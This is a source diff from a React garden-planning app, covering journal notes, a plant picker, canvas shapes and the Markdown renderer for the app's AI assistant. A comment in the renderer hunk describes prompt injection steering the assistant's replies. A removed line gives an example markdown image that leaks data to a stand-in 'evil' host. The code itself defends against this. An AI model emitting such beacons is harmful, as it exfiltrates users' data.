onScopeChange(e.target.value === '' || !Number.isFinite(id) ? null : id)
}}
className="max-w-[9rem] truncate rounded-md border border-border bg-surface px-1.5 py-1 text-xs text-fg outline-none focus-visible:ring-2 focus-visible:ring-accent/40"
>
<option value="">Whole garden</option>
{objects.map((o) => (
<option key={o.id} value={o.id}>
{objectDisplayName(o)}
</option>
))}
</select>
)}
</div>
{scopePlantingId != null && (
<div className="flex items-center justify-between gap-2 rounded-md bg-accent/10 px-2 py-1 text-xs">
<span className="text-accent-strong">Notes about one planting</span>
<button
type="button"
onClick={() => onScopePlantingChange(null)}
className="rounded px-1 text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
>
Show all
</button>
</div>
)}
<div className="flex items-center gap-2 text-xs text-muted">
<label className="flex items-center gap-1">
<span>From</span>
<input
type="date"
value={from}
max={to || undefined}
onChange={(e) => setFrom(e.target.value)}
className={dateInputClass}
/>
</label>
<label className="flex items-center gap-1">
<span>To</span>
<input
type="date"
value={to}
min={from || undefined}
onChange={(e) => setTo(e.target.value)}
className={dateInputClass}
/>
</label>
{(from || to) && (
<button
type="button"
onClick={() => {
setFrom('')
setTo('')
}}
className="rounded px-1 text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
>
Clear
</button>
)}
</div>
{canEdit && (
<Composer
gardenId={gardenId}
objectId={scopePlantingId != null ? null : scopeObjectId}
plantingId={scopePlantingId}
scopeLabel={scopeLabel}
/>
)}
{journal.isPending && <p className="text-sm text-muted">Loading</p>}
{journal.isError && entries.length === 0 && (
<Alert>{errorMessage(journal.error, 'Could not load the journal.')}</Alert>
)}
{journal.isSuccess && entries.length === 0 && (
<p className="text-sm text-muted">
{scopePlantingId != null
? 'Nothing written about this planting yet.'
: scopedObject
? `Nothing written about ${objectDisplayName(scopedObject)} yet.`
: 'Nothing written yet. This is where what happened goes — when something went in, what came up, what the frost got. Next year you get to read it back.'}
</p>
)}
<ol className="flex flex-col gap-2">
{entries.map((e) => (
<Entry
key={e.id}
entry={e}
gardenId={gardenId}
objects={objects}
canDelete={canEdit && (e.authorId === currentUserId || isOwner)}
canRewrite={canEdit && e.authorId === currentUserId}
/>
))}
</ol>
{journal.hasNextPage && (
<Button
variant="ghost"
className="text-sm"
disabled={journal.isFetchingNextPage}
onClick={() => void journal.fetchNextPage()}
>
{journal.isFetchingNextPage ? 'Loading…' : 'Load older'}
</Button>
)}
{journal.isError && entries.length > 0 && (
<p className="text-xs text-red-700 dark:text-red-400">
{errorMessage(journal.error, "Couldn't load older entries.")}
</p>
)}
</div>
)
}
function Composer({
gardenId,
objectId,
plantingId = null,
scopeLabel,
}: {
gardenId: number
objectId: number | null
/** When set, the note attaches to this plop rather than a bed (#85). */
plantingId?: number | null
scopeLabel: string | null
}) {
const create = useCreateJournalEntry(gardenId)
const [body, setBody] = useState('')
// Editable so an observation can be backdated: you write up Saturday on Sunday.
const [observedAt, setObservedAt] = useState(today())
const [error, setError] = useState<string | null>(null)
const submit = () => {
const text = body.trim()
if (!text) return
setError(null)
create.mutate(
{ body: text, observedAt, objectId: objectId ?? undefined, plantingId: plantingId ?? undefined },
{
onSuccess: () => {
setBody('')
setObservedAt(today())
},
onError: (err) => setError(errorMessage(err, "Couldn't save that note.")),
},
)
}
return (
<div className="flex flex-col gap-2 rounded-lg border border-border p-2">
<TextArea
label={scopeLabel ? `Note about ${scopeLabel}` : 'Note'}
name="journalBody"
rows={3}
placeholder="What happened?"
value={body}
onChange={(e) => setBody(e.target.value)}
/>
<div className="flex items-end gap-2">
<div className="flex-1">
<TextField
label="Observed"
name="observedAt"
type="date"
value={observedAt}
onChange={(e) => setObservedAt(e.target.value)}
/>
</div>
<Button className="shrink-0" disabled={create.isPending || body.trim() === ''} onClick={submit}>
{create.isPending ? 'Saving…' : 'Save note'}
</Button>
</div>
{error && <p className="text-xs text-red-700 dark:text-red-400">{error}</p>}
</div>
)
}
function Entry({
entry,
gardenId,
objects,
canDelete,
canRewrite,
}: {
entry: JournalEntry
gardenId: number
objects: EditorObject[]
/** May remove it: the author, or the garden owner. */
canDelete: boolean
/** May rewrite the text: the author only — rewriting someone else's
* observation under their name is a different act from removing it. */
canRewrite: boolean
}) {
const update = useUpdateJournalEntry(gardenId)
const del = useDeleteJournalEntry(gardenId)
const [editing, setEditing] = useState(false)
const [draft, setDraft] = useState(entry.body)
const [error, setError] = useState<string | null>(null)
const about = objects.find((o) => o.id === entry.objectId) ?? null
// Re-sync the draft when the entry changes underneath — a refetch after
// someone else's edit, or this entry's own successful save. Skipped while
// editing so a background refetch can't clobber what's being typed; the
// version guard is what catches a genuine collision.
const [syncedBody, setSyncedBody] = useState(entry.body)
if (!editing && entry.body !== syncedBody) {
setSyncedBody(entry.body)
setDraft(entry.body)
}
const save = () => {
const text = draft.trim()
if (!text) {
// Silence here reads as a broken button; say why nothing happened.
setError('An entry needs some text. Delete it instead if that\'s what you meant.')
return
}
setError(null)
update.mutate(
{ id: entry.id, version: entry.version, body: text },
{
onSuccess: () => {
setEditing(false)
setError(null)
},
onError: (err) => setError(errorMessage(err, "Couldn't save that edit.")),
},
)
}
return (
<li className="rounded-lg border border-border px-2.5 py-2 text-sm">
{editing ? (
<div className="flex flex-col gap-2">
<TextArea label="Note" name={`entry-${entry.id}`} rows={3} value={draft} onChange={(e) => setDraft(e.target.value)} />
<div className="flex justify-end gap-1">
<Button
variant="ghost"
className="px-2 py-1 text-xs"
onClick={() => {
setDraft(entry.body)
setEditing(false)
setError(null)
}}
>
Cancel
</Button>
<Button className="px-2 py-1 text-xs" disabled={update.isPending} onClick={save}>
{update.isPending ? 'Saving…' : 'Save'}
</Button>
</div>
</div>
) : (
<p className="whitespace-pre-wrap text-fg">{entry.body}</p>
)}
<p className="mt-1 flex flex-wrap items-center gap-x-1.5 gap-y-1 text-xs text-muted">
<time dateTime={entry.observedAt}>{formatObservedAt(entry.observedAt)}</time>
<span aria-hidden>·</span>
<span>{entry.authorName}</span>
{about && (
<>
<span aria-hidden>·</span>
<span className="rounded bg-border/60 px-1 py-px">{objectDisplayName(about)}</span>
</>
)}
{entry.plantingId != null && <span className="rounded bg-border/60 px-1 py-px">planting</span>}
</p>
{(canRewrite || canDelete) && !editing && (
<div className="mt-1 flex justify-end gap-1">
{canRewrite && (
<button
type="button"
onClick={() => setEditing(true)}
className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
>
Edit
</button>
)}
{canDelete && (
<button
type="button"
disabled={del.isPending}
onClick={() => {
setError(null) // clear a previous failure so a retry isn't read as another
del.mutate(entry.id, {
onError: (err) => setError(errorMessage(err, "Couldn't delete that note.")),
})
}}
className="rounded px-1.5 py-0.5 text-xs text-red-700 outline-none hover:underline focus-visible:ring-2 focus-visible:ring-accent/40 dark:text-red-400"
>
Delete
</button>
)}
</div>
)}
{error && <p className="mt-1 text-xs text-red-700 dark:text-red-400">{error}</p>}
</li>
)
}
+251
View File
@@ -0,0 +1,251 @@
import { useState, type KeyboardEvent } from 'react'
import { Alert } from '@/components/ui/Alert'
import { Button, IconButton } from '@/components/ui/Button'
import { TextAreaField, TextField } from '@/components/ui/Field'
import { errorMessage } from '@/lib/api'
import { cn } from '@/lib/cn'
import {
formatObservedAt,
today,
useCreateJournalEntry,
useDeleteJournalEntry,
useJournal,
useUpdateJournalEntry,
type JournalEntry,
type JournalFilter,
} from '@/lib/journal'
import type { EditorPlanting } from '@/lib/plantings'
import { objectDisplayName } from './kinds'
import { useEditorStore } from './store'
import type { EditorObject } from './types'
/** What a new note attaches to: the selection, else the focused bed, else the
* garden — and how to say it. */
export interface JournalAttach {
objectId?: number
plantingId?: number
label: string | null
}
/**
* The grow journal: entries newest first as cards (what it's about, when, the
* note), a one-line composer that attaches to whatever's selected — Enter
* submits — and, when the rail was opened from a bed's "N notes", a filter chip
* narrowing the list to that thing. Notes get written standing in the garden
* holding a phone, so the composer is never more than a tap away.
*/
export function JournalTab({
gardenId,
canEdit,
currentUserId,
isOwner,
objects,
plantings,
attach,
composerFirst = false,
large = false,
}: {
gardenId: number
canEdit: boolean
currentUserId?: number
isOwner: boolean
objects: EditorObject[]
plantings: EditorPlanting[]
attach: JournalAttach
/** Phone: the input above the entries (the thumb is at the bottom anyway). */
composerFirst?: boolean
large?: boolean
}) {
const scope = useEditorStore((s) => s.journalScope)
const setScope = useEditorStore((s) => s.setJournalScope)
const filter: JournalFilter = scope?.type === 'object' ? { objectId: scope.id } : scope?.type === 'plop' ? { plantingId: scope.id } : {}
const journal = useJournal(gardenId, filter)
const entries = journal.data?.pages.flatMap((p) => p.entries) ?? []
const scopeName =
scope?.type === 'object'
? objectDisplayName(objects.find((o) => o.id === scope.id) ?? { name: '', kind: 'object' })
: scope?.type === 'plop'
? 'one planting'
: null
const composer = canEdit && (
<Composer gardenId={gardenId} attach={attach} large={large} />
)
return (
<div className="flex min-h-0 flex-1 flex-col gap-2.5">
{scopeName && (
<div className="flex items-center gap-2 rounded-full bg-accent-2-200 py-1 pl-3.5 pr-1 text-xs font-semibold text-accent-2-800">
Notes about {scopeName}
<IconButton label="Show the whole journal" icon="x" iconSize={12} variant="plain" size={26} className="ml-auto" onClick={() => setScope(null)} />
</div>
)}
{composerFirst && composer}
{journal.isPending && <p className="text-[13px] text-ink-mute">Loading</p>}
{journal.isError && entries.length === 0 && <Alert>{errorMessage(journal.error, 'Could not load the journal.')}</Alert>}
{journal.isSuccess && entries.length === 0 && (
<p className="text-[13px] leading-relaxed text-ink-mute">
{scopeName
? `Nothing written about ${scopeName} yet.`
: 'Nothing written yet. This is where what happened goes — when something went in, what came up, what the frost got. Next year you get to read it back.'}
</p>
)}
{entries.map((e) => (
<Entry
key={e.id}
entry={e}
gardenId={gardenId}
objects={objects}
plantings={plantings}
canDelete={canEdit && (e.authorId === currentUserId || isOwner)}
canRewrite={canEdit && e.authorId === currentUserId}
large={large}
/>
))}
{journal.hasNextPage && (
<Button variant="ghost" className="self-start text-[13px]" disabled={journal.isFetchingNextPage} onClick={() => void journal.fetchNextPage()}>
{journal.isFetchingNextPage ? 'Loading…' : 'Older notes'}
</Button>
)}
{!composerFirst && <div className="mt-auto pt-1.5">{composer}</div>}
</div>
)
}
function Composer({ gardenId, attach, large }: { gardenId: number; attach: JournalAttach; large: boolean }) {
const create = useCreateJournalEntry(gardenId)
const [body, setBody] = useState('')
const [error, setError] = useState<string | null>(null)
const submit = () => {
const text = body.trim()
if (!text || create.isPending) return
setError(null)
create.mutate(
{ body: text, observedAt: today(), objectId: attach.objectId, plantingId: attach.plantingId },
{ onSuccess: () => setBody(''), onError: (err) => setError(errorMessage(err, "Couldn't save that note.")) },
)
}
const onKey = (e: KeyboardEvent<HTMLInputElement>) => {
if (e.key === 'Enter') {
e.preventDefault()
submit()
}
}
return (
<div className="flex flex-col gap-1.5">
<div className="flex gap-1.5">
<input
className={cn('input', large && 'input-lg')}
placeholder={attach.label ? `Note something about ${attach.label}` : 'Note something…'}
aria-label="New journal note"
value={body}
onChange={(e) => setBody(e.target.value)}
onKeyDown={onKey}
/>
<IconButton label="Log it" icon="plus" iconSize={large ? 16 : 15} variant="primary" size={large ? 44 : 36} disabled={create.isPending || !body.trim()} onClick={submit} />
</div>
{error && <Alert>{error}</Alert>}
</div>
)
}
function Entry({
entry,
gardenId,
objects,
plantings,
canDelete,
canRewrite,
large,
}: {
entry: JournalEntry
gardenId: number
objects: EditorObject[]
plantings: EditorPlanting[]
canDelete: boolean
canRewrite: boolean
large: boolean
}) {
const update = useUpdateJournalEntry(gardenId)
const del = useDeleteJournalEntry(gardenId)
const [editing, setEditing] = useState(false)
const [draft, setDraft] = useState(entry.body)
const [observedAt, setObservedAt] = useState(entry.observedAt)
const [error, setError] = useState<string | null>(null)
// A plop-level note names its bed; an object-level note names the object.
const objectId = entry.objectId ?? (entry.plantingId != null ? plantings.find((p) => p.id === entry.plantingId)?.objectId : undefined)
const about = objects.find((o) => o.id === objectId)
const aboutLabel = about ? objectDisplayName(about) + (entry.plantingId != null ? ' · planting' : '') : entry.plantingId != null ? 'a planting' : 'Garden'
const save = () => {
const text = draft.trim()
if (!text) return setError("An entry needs some text — delete it instead if that's what you meant.")
setError(null)
update.mutate(
{ id: entry.id, version: entry.version, body: text, observedAt },
{ onSuccess: () => setEditing(false), onError: (err) => setError(errorMessage(err, "Couldn't save that edit.")) },
)
}
return (
<div className="rounded-md border border-divider bg-bg px-3.5 py-3">
<div className="mb-[5px] flex items-center gap-1.5">
<span className="text-[11.5px] font-bold text-accent-2-700">{aboutLabel}</span>
<span className="ml-auto text-[11.5px] text-ink-mute" title={`by ${entry.authorName}`}>
{formatObservedAt(entry.observedAt)}
</span>
</div>
{editing ? (
<div className="flex flex-col gap-2">
<TextAreaField label="Note" name={`entry-${entry.id}`} rows={3} className={cn(large && 'text-base')} value={draft} onChange={(e) => setDraft(e.target.value)} />
<TextField label="Observed on" name={`observed-${entry.id}`} type="date" value={observedAt} onChange={(e) => setObservedAt(e.target.value)} />
<div className="flex justify-end gap-1">
<Button
variant="ghost"
className="px-2.5 text-[13px]"
onClick={() => {
setDraft(entry.body)
setObservedAt(entry.observedAt)
setEditing(false)
setError(null)
}}
>
Cancel
</Button>
<Button variant="primary" className="px-3.5 text-[13px]" disabled={update.isPending} onClick={save}>
{update.isPending ? 'Saving…' : 'Save'}
</Button>
</div>
</div>
) : (
<div className={cn('whitespace-pre-wrap leading-relaxed', large ? 'text-[13.5px]' : 'text-[13px]')}>{entry.body}</div>
)}
{(canRewrite || canDelete) && !editing && (
<div className="-mb-1 mt-1 flex justify-end gap-0.5">
{canRewrite && (
<button type="button" className="btn btn-ghost px-2 py-0.5 text-[11.5px]" onClick={() => setEditing(true)}>
Edit
</button>
)}
{canDelete && (
<button
type="button"
className="btn btn-ghost px-2 py-0.5 text-[11.5px] text-accent-700"
disabled={del.isPending}
onClick={() => {
setError(null)
del.mutate(entry.id, { onError: (err) => setError(errorMessage(err, "Couldn't delete that note.")) })
}}
>
Delete
</button>
)}
</div>
)}
{error && <p className="mt-1 text-xs font-semibold text-accent-700">{error}</p>}
</div>
)
}
+25
View File
@@ -0,0 +1,25 @@
import { kindStyle, type KindDef } from './kinds'
/** A kind's mini shape swatch: true proportions, its own fill and stroke — the
* toolkit's "icon" is the thing itself, not a glyph. */
export function KindSwatch({ def, compact = false }: { def: KindDef; compact?: boolean }) {
const st = kindStyle(def.kind)
const f = 24 / Math.max(def.widthCm, def.heightCm)
const w = def.widthCm * f
const h = def.heightCm * f
return (
<svg
width={compact ? 30 : 38}
height={compact ? 24 : 30}
viewBox={compact ? '-20 -13 40 26' : '-20 -15 40 30'}
className="flex-none"
aria-hidden
>
{def.shape === 'rect' ? (
<rect x={-w / 2} y={-h / 2} width={w} height={h} rx={3} fill={st.fill} stroke={st.stroke} strokeWidth={1.5} strokeDasharray={st.dash ? '3 3' : undefined} />
) : (
<circle r={w / 2} fill={st.fill} stroke={st.stroke} strokeWidth={1.5} strokeDasharray={st.dash ? '3 3' : undefined} />
)}
</svg>
)
}
+15 -45
View File
@@ -8,33 +8,20 @@ const remarkPlugins = [remarkGfm]
const CODE_BLOCK = /language-/
// The assistant's replies are never trusted markup: their content can be steered
// by anything the agent read (a shared garden's notes, a seed vendor page). So we
// render Markdown but NOT raw HTML (no rehype-raw), and — belt to that — forbid
// <img>, whose auto-loading `src` is a prompt-injection exfiltration beacon
// (`![](https://evil/?leak=…)`); the assistant has no reason to emit images.
// by anything the agent read. So we render Markdown but NOT raw HTML (no
// rehype-raw), and forbid <img>, whose auto-loading `src` is a prompt-injection
// exfiltration beacon; the assistant has no reason to emit images.
const disallowedElements = ['img']
// Tailwind's reset strips default list/table styling, so every element the
// assistant actually uses is restyled here, scaled for a chat bubble. Wide
// content (tables, code) scrolls in its own box so the bubble never blows out.
const bigHeading = ({ children }: { children?: ReactNode }) => (
<h4 className="mb-1 mt-2 text-sm font-semibold first:mt-0">{children}</h4>
)
const bigHeading = ({ children }: { children?: ReactNode }) => <h4 className="mb-1 mt-2 text-[15px] first:mt-0">{children}</h4>
const smallHeading = ({ children }: { children?: ReactNode }) => (
<h5 className="mb-1 mt-1.5 text-xs font-semibold uppercase tracking-wide text-muted first:mt-0">
{children}
</h5>
<h6 className="mb-1 mt-1.5 text-[11px] text-ink-mute first:mt-0">{children}</h6>
)
const components: Components = {
p: ({ children }) => <p className="my-1.5 first:mt-0 last:mb-0">{children}</p>,
a: ({ href, children }) => (
<a
href={href}
target="_blank"
rel="noopener noreferrer"
className="text-accent-strong underline underline-offset-2"
>
<a href={href} target="_blank" rel="noopener noreferrer" className="underline underline-offset-2">
{children}
</a>
),
@@ -45,7 +32,7 @@ const components: Components = {
</ol>
),
li: ({ children }) => <li className="my-0.5">{children}</li>,
strong: ({ children }) => <strong className="font-semibold">{children}</strong>,
strong: ({ children }) => <strong className="font-bold">{children}</strong>,
em: ({ children }) => <em className="italic">{children}</em>,
h1: bigHeading,
h2: bigHeading,
@@ -53,40 +40,27 @@ const components: Components = {
h4: smallHeading,
h5: smallHeading,
h6: smallHeading,
blockquote: ({ children }) => (
<blockquote className="my-1.5 border-l-2 border-border pl-2 text-muted">{children}</blockquote>
),
hr: () => <hr className="my-2 border-border" />,
blockquote: ({ children }) => <blockquote className="my-1.5 border-l-2 border-accent-2-400 pl-2 text-ink-soft">{children}</blockquote>,
hr: () => <hr className="my-2 border-divider" />,
code: ({ className, children }) => {
// A fenced block is wrapped by <pre> (styled below) and carries either a
// language- class or a trailing newline; inline code is a single-line bare
// <code> and gets the pill treatment. (The newline check catches fences with
// no info-string, which have no language- class.)
const isBlock = CODE_BLOCK.test(className ?? '') || String(children).includes('\n')
if (isBlock) return <code className={className}>{children}</code>
return (
<code className="rounded bg-border/60 px-1 py-0.5 font-mono text-[0.85em]">{children}</code>
)
return <code className="rounded-sm bg-neutral-200 px-1 py-0.5 font-mono text-[0.85em]">{children}</code>
},
pre: ({ children }) => (
<pre className="my-1.5 overflow-x-auto rounded-md bg-border/40 p-2 font-mono text-xs">
{children}
</pre>
),
pre: ({ children }) => <pre className="my-1.5 overflow-x-auto rounded-md bg-neutral-200 p-2 font-mono text-xs">{children}</pre>,
table: ({ children }) => (
<div className="my-1.5 overflow-x-auto">
<table className="w-full border-collapse text-xs">{children}</table>
</div>
),
// Pass `style` through: GFM column alignment (`:---:` / `---:`) arrives as
// style.textAlign, and dropping it would silently discard it.
// Pass `style` through: GFM column alignment arrives as style.textAlign.
th: ({ children, style }) => (
<th style={style} className="border border-border px-2 py-1 font-semibold">
<th style={style} className="border border-divider px-2 py-1 font-bold">
{children}
</th>
),
td: ({ children, style }) => (
<td style={style} className="border border-border px-2 py-1 align-top">
<td style={style} className="border border-divider px-2 py-1 align-top">
{children}
</td>
),
@@ -97,11 +71,7 @@ const components: Components = {
export const MarkdownMessage = memo(function MarkdownMessage({ children }: { children: string }) {
return (
<div className="leading-relaxed">
<ReactMarkdown
remarkPlugins={remarkPlugins}
disallowedElements={disallowedElements}
components={components}
>
<ReactMarkdown remarkPlugins={remarkPlugins} disallowedElements={disallowedElements} components={components}>
{children}
</ReactMarkdown>
</div>
-147
View File
@@ -1,147 +0,0 @@
import { memo, type KeyboardEvent, type PointerEvent } from 'react'
import { objectTransform } from './shared'
import { kindDef, objectDisplayName } from './kinds'
import type { EditorObject } from './types'
const DEFAULT_FILL = '#8a8a8a'
// Default fills by kind (overridable per object via object.color). Muted, earthy
// tones so plops (added in #15) read clearly on top.
const kindColors: Record<string, string> = {
bed: '#8a6d4b',
grow_bag: '#9c7a52',
container: '#6b7f8a',
in_ground: '#7a6a4a',
tree: '#4f7a4f',
path: '#b8b0a0',
structure: DEFAULT_FILL,
}
// Label font size = this fraction of the object's smaller side, clamped to a
// readable cm range. Corner radius = this fraction of the smaller half-side.
const LABEL_FONT_FACTOR = 0.28
const LABEL_FONT_MIN_CM = 8
const LABEL_FONT_MAX_CM = 40
const CORNER_RADIUS_FACTOR = 0.06
function fillFor(o: EditorObject): string {
return o.color ?? kindColors[o.kind] ?? DEFAULT_FILL
}
/**
* One garden object in world (cm) space: a centered rect or ellipse (a circle
* when width == height), rotated about its center, with the object's name. The
* parent world <g> applies the viewport scale, so geometry is authored in cm and
* strokes use vector-effect=non-scaling-stroke to stay a constant pixel width at
* any zoom. memo'd so a pan/zoom (which only changes the world <g> transform)
* doesn't re-render every object. Full move/resize/rotate come in #11.
*/
export const ObjectShape = memo(function ObjectShape({
object,
selected,
onSelect,
}: {
object: EditorObject
selected: boolean
onSelect: (id: number) => void
}) {
const fill = fillFor(object)
const halfW = Math.max(0, object.widthCm / 2)
const halfH = Math.max(0, object.heightCm / 2)
const fontCm = Math.max(
LABEL_FONT_MIN_CM,
Math.min(LABEL_FONT_MAX_CM, Math.min(object.widthCm, object.heightCm) * LABEL_FONT_FACTOR),
)
function handleDown(e: PointerEvent) {
e.stopPropagation() // don't let the canvas treat this as an empty-space pan/deselect
onSelect(object.id)
}
// Keyboard path into selection (#84): the arrow-key nudge handler already
// exists but only ever acted on a pointer selection, so it was unreachable
// without a mouse. Enter/Space on a focused object selects it, which is the
// step that was missing.
function handleKey(e: KeyboardEvent) {
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault()
e.stopPropagation()
onSelect(object.id)
}
}
const stroke = selected ? '#2f7a3e' : '#00000033'
const strokeWidth = selected ? 2 : 1
// A concise accessible name: the object's label plus its kind's canonical
// label, e.g. "North Bed, In-ground" — reusing kindDef so it never diverges
// from what the UI shows (an ad-hoc kind.replace() gave "in ground"). The
// dimensions aren't included; they need the garden's unit context this
// component doesn't hold, so they're a follow-up.
const kindLabel = kindDef(object.kind)?.label ?? object.kind
const label = `${objectDisplayName(object)}, ${kindLabel}`
// Keyboard focus needs to be VISIBLE — that's the point of making the canvas
// keyboard-reachable. The `object-shape` class carries a :focus-visible rule
// (styles/index.css) that draws a dashed ring; :focus-visible means it shows
// for keyboard focus but NOT a mouse click, which is exactly what we want. CSS
// rather than React state because onFocus on an SVG <g> is unreliable and a
// presentation attribute is overridden by any CSS rule.
return (
<g
className="object-shape"
transform={objectTransform(object)}
onPointerDown={handleDown}
onKeyDown={handleKey}
role="button"
tabIndex={0}
aria-label={label}
// aria-current, not aria-pressed: selecting an object isn't a toggle (a
// toggle is what aria-pressed means). aria-current marks it as the active
// item among the objects. Omitted, not "false", when unselected.
aria-current={selected || undefined}
style={{ cursor: 'pointer' }}
>
{object.shape === 'circle' ? (
<ellipse
cx={0}
cy={0}
rx={halfW}
ry={halfH}
fill={fill}
fillOpacity={0.85}
stroke={stroke}
strokeWidth={strokeWidth}
vectorEffect="non-scaling-stroke"
/>
) : (
<rect
x={-halfW}
y={-halfH}
width={halfW * 2}
height={halfH * 2}
rx={Math.min(halfW, halfH) * CORNER_RADIUS_FACTOR}
fill={fill}
fillOpacity={0.85}
stroke={stroke}
strokeWidth={strokeWidth}
vectorEffect="non-scaling-stroke"
/>
)}
{object.name && (
<text
x={0}
y={0}
fontSize={fontCm}
textAnchor="middle"
dominantBaseline="central"
fill="#ffffff"
style={{ pointerEvents: 'none', userSelect: 'none' }}
>
{object.name}
</text>
)}
</g>
)
})
-49
View File
@@ -1,49 +0,0 @@
import { cn } from '@/lib/cn'
import { OBJECT_KINDS, kindDef } from './kinds'
import { useEditorStore } from './store'
/**
* The object-kind palette. Tap a kind to arm it, then tap the canvas to place
* (works on desktop and touch). Tapping the armed kind again disarms it.
*/
export function Palette() {
const armedKind = useEditorStore((s) => s.armedKind)
const setArmedKind = useEditorStore((s) => s.setArmedKind)
const select = useEditorStore((s) => s.select)
return (
<div className="flex flex-col gap-2">
<div className="flex flex-wrap gap-1.5 md:flex-col">
{OBJECT_KINDS.map((k) => {
const active = armedKind === k.kind
return (
<button
key={k.kind}
type="button"
onClick={() => {
select(null)
setArmedKind(active ? null : k.kind)
}}
className={cn(
'flex items-center gap-2 rounded-md border px-2.5 py-1.5 text-sm font-medium outline-none transition-colors',
'focus-visible:ring-2 focus-visible:ring-accent/40',
active
? 'border-accent bg-accent/10 text-accent-strong'
: 'border-border bg-surface text-fg hover:bg-border/50',
)}
aria-pressed={active}
>
<span aria-hidden className="text-base leading-none">
{k.icon}
</span>
<span>{k.label}</span>
</button>
)
})}
</div>
{armedKind && (
<p className="text-xs text-muted">Tap the canvas to place a {kindDef(armedKind)?.label ?? 'object'}.</p>
)}
</div>
)
}
-233
View File
@@ -1,233 +0,0 @@
import { useEffect, useMemo, useRef, useState } from 'react'
import { cn } from '@/lib/cn'
import { fieldControlClass } from '@/components/ui/field'
import { CategoryChips } from '@/components/plants/CategoryChips'
import { PlantIcon } from '@/components/plants/PlantIcon'
import { CATEGORY_LABELS, filterPlants, usePlants, type CategoryFilter, type Plant } from '@/lib/plants'
import {
attributableLots,
formatQuantity,
lotsByPlant,
lotState,
summarizeLots,
useSeedLots,
type SeedLot,
} from '@/lib/seedLots'
import { LotStateChip } from '@/components/plants/SeedLotList'
import { formatSpacing, type UnitPref } from '@/lib/units'
const RECENT_KEY = 'pansy:recent-plants'
const RECENT_MAX = 8
/** Recently-picked plant ids, most-recent first, from localStorage. */
function loadRecent(): number[] {
try {
const v: unknown = JSON.parse(localStorage.getItem(RECENT_KEY) ?? '[]')
return Array.isArray(v) ? v.filter((n): n is number => typeof n === 'number') : []
} catch {
return []
}
}
/** Prepend id (dedup, capped) and persist; returns the new list. */
function recordRecent(id: number): number[] {
const next = [id, ...loadRecent().filter((n) => n !== id)].slice(0, RECENT_MAX)
try {
localStorage.setItem(RECENT_KEY, JSON.stringify(next))
} catch {
// Recents are a nicety; ignore quota/availability failures.
}
return next
}
/**
* Reusable plant chooser: a search-first list with a recently-used shortcut and
* category filter, rendered as a bottom sheet on mobile / centered panel on
* desktop. `onSelect` fires with the chosen plant (and records it as recent).
* The plops editor (#15) opens this when placing plants; /plants demos it.
*/
export function PlantPicker({
onSelect,
onClose,
unit = 'metric',
}: {
// The chosen plant, and the lot it should be attributed to when that isn't
// ambiguous. Undefined lot means "don't attribute" — which is the honest
// answer when there are no lots, and the deliberate one when the user skips.
onSelect: (plant: Plant, lot?: SeedLot) => void
onClose: () => void
unit?: UnitPref
}) {
const plants = usePlants()
const seedLots = useSeedLots()
const lotsFor = useMemo(() => lotsByPlant(seedLots.data), [seedLots.data])
// Set when a plant with SEVERAL lots is picked: which packet did this come out
// of? One lot auto-attributes and zero lots stays silent, because forcing that
// question on every placement is how a nicety becomes an obstacle.
const [choosingLotFor, setChoosingLotFor] = useState<Plant | null>(null)
const [query, setQuery] = useState('')
const [category, setCategory] = useState<CategoryFilter>('all')
const [recent, setRecent] = useState<number[]>(() => loadRecent())
const searchRef = useRef<HTMLInputElement>(null)
const onCloseRef = useRef(onClose)
onCloseRef.current = onClose
useEffect(() => {
searchRef.current?.focus()
function onKey(e: KeyboardEvent) {
if (e.key === 'Escape') onCloseRef.current()
}
document.addEventListener('keydown', onKey)
return () => document.removeEventListener('keydown', onKey)
}, [])
const all = useMemo(() => plants.data ?? [], [plants.data])
const filtered = useMemo(() => filterPlants(all, query, category), [all, query, category])
// Recents show only when not actively searching, and only rows still present.
const recentPlants = useMemo(() => {
if (query.trim() !== '') return []
const byId = new Map(all.map((p) => [p.id, p]))
return recent.map((id) => byId.get(id)).filter((p): p is Plant => !!p)
}, [all, recent, query])
function choose(p: Plant) {
const lots = attributableLots(lotsFor.get(p.id) ?? [])
if (lots.length > 1) {
setChoosingLotFor(p)
return
}
setRecent(recordRecent(p.id))
// A single lot attributes even when its count says empty. The count records
// what was written down, not a fact about the packet — dropping attribution
// there would make a wrong number harder to correct rather than easier.
onSelect(p, lots[0])
}
function chooseLot(p: Plant, lot?: SeedLot) {
setRecent(recordRecent(p.id))
onSelect(p, lot)
}
// A plant option row. keyPrefix namespaces the key so a plant appearing in
// both the Recent and All sections doesn't collide on a duplicate React key.
const row = (p: Plant, keyPrefix: string) => (
<button
key={`${keyPrefix}-${p.id}`}
type="button"
onClick={() => choose(p)}
className="flex w-full items-center gap-3 rounded-lg px-3 py-2.5 text-left outline-none transition-colors hover:bg-border/50 focus-visible:bg-border/50"
>
<PlantIcon color={p.color} icon={p.icon} className="h-9 w-9 rounded-md text-xl" />
<span className="min-w-0 flex-1">
<span className="block truncate font-medium text-fg">{p.name}</span>
<span className="block text-xs text-muted">
{CATEGORY_LABELS[p.category]} · {formatSpacing(p.spacingCm, unit)}
{remainingLabel(lotsFor.get(p.id) ?? [])}
</span>
</span>
</button>
)
// What's left, shown where you're deciding what to plant. Silent when there
// are no lots — most plants won't have any, and "0 left" on all of them would
// be noise that trains you to ignore the number. summarizeLots owns the
// unit-agreement rule; a second copy of it here would drift.
function remainingLabel(lots: SeedLot[]): string {
if (lots.length === 0) return ''
const { remaining, unit } = summarizeLots(lots)
return ` · ${formatQuantity(remaining)}${unit ? ` ${unit}` : ''} left`
}
return (
<div
className="fixed inset-0 z-50 flex items-end justify-center bg-black/40 sm:items-center sm:p-4"
onMouseDown={(e) => e.target === e.currentTarget && onClose()}
>
<div
role="dialog"
aria-modal="true"
aria-label="Choose a plant"
className="flex max-h-[85vh] w-full flex-col rounded-t-2xl border border-border bg-surface shadow-xl sm:max-w-lg sm:rounded-2xl"
>
<div className="flex items-center gap-2 border-b border-border p-3">
<input
ref={searchRef}
type="search"
value={query}
onChange={(e) => setQuery(e.target.value)}
placeholder="Search plants…"
aria-label="Search plants"
className={cn(fieldControlClass, 'min-w-0 flex-1')}
/>
<button
type="button"
onClick={onClose}
aria-label="Close"
